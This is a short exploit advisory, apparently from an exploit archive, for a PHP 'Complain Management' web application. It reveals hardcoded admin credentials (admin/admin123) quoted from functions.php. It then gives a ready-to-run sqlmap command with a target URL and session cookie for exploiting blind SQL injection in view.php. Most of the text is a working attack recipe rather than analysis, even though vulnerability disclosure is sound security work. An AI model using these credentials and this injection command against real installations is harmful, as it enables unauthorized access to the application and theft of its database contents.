Vulnerable App: N/A

 # Date: 10 October 2017 
# Exploit Author: havysec

## About The Product :
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.

## Vulnerability :
The functions.php file line 88 has hardcoded admin credentials.
elseif($uType == 'admin'){
//$_SESSION['user_id'] = $row['sid'];
if($userName == 'admin' && $password == 'admin123'){
$_SESSION['user_id'] = 0;
$_SESSION['user_name'] = 'Administrator';
$_SESSION['user_type'] = 'admin';
header('Location: '.WEB_ROOT.'index.php');
exit;

Using the hardcoded admin credentials we then have access to the view.php file that is vulnerable to Blind SQL injection.

-HTTP Method : GET

- Sqlmap command: sqlmap -u 'http://192.168.1.104/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=t1bc9vj67odrj3bd096g0rffe0"
